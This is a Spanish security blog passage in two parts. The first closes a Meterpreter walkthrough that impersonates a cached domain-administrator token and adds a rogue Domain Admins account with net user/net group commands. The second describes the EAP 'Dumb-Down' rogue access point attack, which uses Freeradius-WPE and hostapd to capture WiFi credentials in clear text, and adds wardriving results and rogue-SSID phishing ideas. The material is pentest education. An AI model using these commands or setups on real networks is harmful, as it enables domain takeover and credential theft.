NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Como podemos observar disponemos de los usuarios locales, así como también, por suerte, cacheado el acceso del Administrador del dominio ACME en el sistema. Y por tanto, aprovecharemos dicho usuario para escalar privilegios, ejecutando el comando “impersonate_token ACME\\Administrador”.

meterpreter > impersonate_token ACME\\Administrador
[+] Delegation token available
[+] Successfully impersonated user ACME\Administrador

Una vez especificado el token que deseamos suplantar, podemos verificar que disponemos de acceso al sistema con la cuenta de Administrador del dominio ACME, ejecutando el comando “getuid”.

meterpreter > getuid
Server username: ACME\ Administrador

Dado que disponemos de acceso al dominio de la entidad, vamos a proceder a crear un usuario en dicho dominio con permisos de administrador. Por tanto, abriremos una terminal mediante el comando “Shell”, y ahora haremos uso de comandos habituales de Windows.

Para dar de alta un usuario en el dominio ejecutaremos el siguiente comando “net user <usuario> <contraseña> /add /domain”. Y por último, lo añadiremos al grupo de Administrador del dominio “net group “Domain Admins” <usuario> /add /domain”.

Con esto, disponemos de un usuario con permisos de administrador en el dominio de la entidad ACME, y podemos disponer de acceso a diversos sistemas que sean controlados por el dominio de la entidad, así como acceder a la información confidencial almacenada.

Es muy común en la mayoría de las organizaciones disponer de servidores antiguos o sin los parches pertinentes, al ser servidores “offline”. Esto puede suponer un riesgo en la organización, no por la información que pueda contener (obsoleta o no confidencial), si no porque permita realizar un escalado de privilegios, y un atacante pueda acceder al dominio de la entidad como ha ocurrido en este caso en ACME. Obteniendo información confidencial, así como pudiendo pivotar a cualquier equipo de la red.

Aquello que consideramos menos crítico, suele ser la mayor fuente de ingresos de incidentes de seguridad.

Fuente:
http://www.offensive-security.com/metasploit-unleashed/Fun_With_Incognito

En la pasada RootedCON de 2013 Raúl Siles introdujo una mejora al clásico ataque de Joshua Wright a redes WiFi empresariales llamado Dumb-Down, desconozco si el término o la vulnerabilidad que explota fue contribución suya o de algún otro gurú, pero la verdad es que no he encontrado referencias sobre la implementación/descripción del ataque en otras fuentes. Como no identificamos referencias básicamente sobre su realización técnica pasamos al “do it yourself”. La verdad que esta vulnerabilidad, desde mi punto de vista, ha pasado bastante desapercibida por lo que al impacto en la red se refiere (blogs, comentarios, etc.) y me sorprende especialmente por el terrible impacto que tiene. En las próximas líneas veremos una prueba de concepto de cómo configurar un sistema capaz de ejecutar el ataque, desde los cimientos aportados por Joshua a la mejora propuesta por Raúl.

En primer lugar comentar que el ataque Dumb-Down permite obtener directamente las credenciales en claro de los clientes WiFi que por una mala configuración de sus terminales autentiquen a una red empresarial que utilice EAP como método de autenticación.

Para ello necesitamos primero desplegar la infraestructura que nos permita autenticar a los clientes inalámbricos, para ello utilizaremos “Freeradius-WPE”, el cual habilita capacidades de registro para las credenciales suplidas por los usuarios víctima. No voy a describir su proceso de instalación ya que hay cientos de blogs que ilustran el ataque, destacar tan solo que, este es capaz de capturar diversos métodos de autenticación EAP como son: EAP-TTLS PAP, EAP-TTLS CHAP, PEAP-MSCHAPv2, EAP-TTLS GTC y por supuesto sus versiones sin tunelizar, entre otros.

Lanzaremos por tanto una vez instalado, el Freeradius-WPE mediante el siguiente comando.

Pondremos un Tail en su fichero de registro que es donde nos irá guardando las credenciales de los clientes WiFi.

En este momento necesitamos levantar un punto de acceso que autentique contra nuestro servidor Radius modificado en el puerto 1812 UDP. Podemos usar un AP físico o montar un hostapd, esta segunda opción nos permitirá utilizar una tarjeta WiFi con una antena con bastante ganancia. La configuración utilizada para el hostapd es la siguiente, lanzando posteriormente el demonio.

Ahora que ya tenemos la infraestructura preparada vamos a hacer una prueba de conexión sin aplicar todavía el ataque Dump-Down. Desde un teléfono móvil por ejemplo conectamos al AP requiriendo inmediatamente en la pantalla de nuestro terminal las credenciales de acceso a la red.

Nuestro terminal nos alerta de que el certificado de seguridad no es válido, en numerosas ocasiones el usuario simplemente lo aceptará por simple desconocimiento, pero como veremos en el estudio realizado más adelante para una red concreta, la mayoría de equipos están configurados para no comprobar la autenticidad del servidor de validación. Esto conlleva un gran problema ya que en nuestro registro podemos ver el usuario que ha conectado y la huella tanto del challege como del response de MSCHAPv2. Con esta información podemos utilizar aplicaciones como “John the ripper” versión “Jumbo”, “asleap” o servicios en la nube de crackeo de contraseñas por el módico precio de 17$ la unidad.

Como vemos en el log del Freeradius-WPE de la captura anterior, el método de autenticación ha sido Mschapv2 con un protocolo de protección y cifrado del proceso PEAP.

Veamos ahora como conseguir que el cliente en lugar de remitirnos un challenge/response que deberemos crackear, nos remita la contraseña directamente en claro, que es la gracia de Dump-Down. Muchos de los suplicantes inalámbricos delegan en el servidor Radius el método de autenticación a negociar, de esta manera si el terminal le comunica que se va a validar a través de MSCHAPv2 y nuestro FreeRadius-WPE replica forzándole a utilizar por ejemplo, EAP-GTC, conseguimos evitar realizar la fuerza bruta sobre MSCHAPv2. Si queréis saber que clientes son presas de este ataque, el estupendo estudio de Raúl realizado para la Rooted puede aportaros más detalles. Adelantaros que, en entornos Windows, EAP-GTC no es aceptado de forma nativa (así como LEAP o EAP-TTLS), ¿por qué? Pues porque ya tienen su propio método creado por ellos, Microsoft CHAPv2. Donde comienza la verdadera fiesta es con los terminales móviles; IOS 5, 6 y 7 sucumben al ataque; Android, dependiendo del grado de configuración; Windows Phone, peor escenario posible. Lo verdaderamente terrorífico en este punto es la capacidad por defecto de los teléfonos inteligentes de conectar automáticamente a aquellas redes que aparecen en su lista de favoritos, es decir, todas con las que previamente se ha realizado una asociación satisfactoria.

Configuremos por tanto nuestro FreeRadius-WPE editando el archivo “/usr/local/etc/raddb/eap.conf” y cambiando el método de autenticación por defecto a EAP-GTC como muestra la imagen.

Agradecimientos en este punto a nuestro compañero David Lladró por la configuración anterior.

En estos momentos, lanzaremos nuevamente nuestro Radius y repetiremos el intento de conexión con los siguientes resultados.

Como vemos en la imagen, el servidor ha forzado al cliente a utilizar EAP-GTC revelándonos directamente las credenciales en claro.

Un estudio que trató de analizar el impacto y el nivel de seguridad de este tipo de redes arrojó resultados escalofriantes. El objetivo propuesto fue una popular red universitaria. En su página web podemos leer:

Para los que no la conozcáis es la red que da conectividad inalámbrica a los alumnos, independientemente de la universidad donde se encuentren. Tras un breve proceso de Wardriving por la ciudad con un punto de acceso simulando un nodo de XXX y un rápido paso por un par de campus, los resultados fueron los siguientes:

• 59 Challenge/response de MSCHAPv2 capturados, con el consiguiente 100% de crackeo de la contraseña.
• 36 credenciales en claro.

Como ellos mismos dicen “abre tu portátil y estás conectado”, paradójico ¿no…?

Pero este tipo de ataque Dump-Down, todavía puede dar mucho más juego, podemos utilizarlo para realizar ataques de ingeniería social. Supongamos que tenemos que realizar un test de intrusión sobre una empresa llamada Duff. Podemos levantar una infraestructura Dump-Down con un SSID por ejemplo “Duff WiFi mail service”, “Duff WiFi VPN” o cualquier otro nombre atractivo que pueda hacer que un usuario se autentique con sus credenciales de dominio, ya que lo único que se le requerirá al cliente que intente conectarse es un par usuario/contraseña, siendo muy fácil que asocie el nombre de la red con las credenciales de acceso al servicio (por ejemplo el correo). Al margen de esto, se me ocurre que podría ser interesante levantar por ejemplo, un punto de acceso en Barajas que se llamara “Google free WiFi” a ver cuántas “polillas” se pueden llegar a capturar… Dejamos esta práctica (que no recomendamos realizar en absoluto) para aquellos lectores Underground.

No hay que olvidar que normalmente, este tipo de sistemas de seguridad WiFi empresariales están integrados con el dominio Windows corporativo, es decir que no sólo pueden suponer el acceso a la red inalámbrica de una compañía, sino a todos los recursos internos que estén integrados con el dominio: escritorio remoto en servidores, correo electrónico, ERP, servidores de ficheros, OWA, VPN, etc.

Por lo tanto y como conclusión, el riesgo de una red EAP mal configurada es mucho mayor que una que directamente no presenta contraseña de acceso (OPN).

Nota final: Recomendación que desde Security Art Work nos gustaría realizar, SI NO ESTÁS UTILIZANDO UN SERVICIO WIFI, EL INTERFAZ INALÁMBRICO MANTENLO APAGADO SIEMPRE.